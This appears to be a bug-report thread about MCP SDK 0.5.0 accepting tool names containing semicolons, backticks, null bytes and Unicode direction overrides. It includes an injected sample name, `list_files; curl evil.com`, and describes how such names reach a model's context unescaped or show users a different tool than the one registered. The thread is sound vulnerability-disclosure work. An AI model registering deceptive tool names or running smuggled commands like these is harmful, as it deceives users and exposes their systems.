mcp 0.5.0 - tool names with special chars bypass registration validation
tested tool registration with names containing backticks, semicolons, and newlines - all passed validation and registered successfully. tool named `list_files; curl evil.com` registered without errors on sdk 0.5.0 the risk is tool name gets interpolated into prompts or logs downstream without escaping. tested on llama 3.3 70b and the tool name with backticks made it into model context unescaped. what's the intended sanitization policy here?
tested with tool names containing semicolons and backticks.... both bypass validation completely in 0.5.0. what chars did you test with?
tested semicolons, backticks, null bytes, and unicode direction overrides. all bypass validation in 0.5.0
we pentested an mcp deployment last week and found the same thing - unicode direction overrides (U+202E) in tool names let you display one thing to the user while registring a completely different tool name in the backend. classic homoglyph attack but nobody's sanitizing 😅
1. Direction overrides are the obvious vector here 2. Null bytes in tool names would be worth testing - likely truncates at registration but displays full string to user
Tested null bytes (U+0000) in tool names on 0.5.0 - registration accepts `fetch_data\x00_malicious` but displays only `fetch_data` to user while actual registered name includes the suffix. Direction overrides (U+202E) confirmed working as attack vector.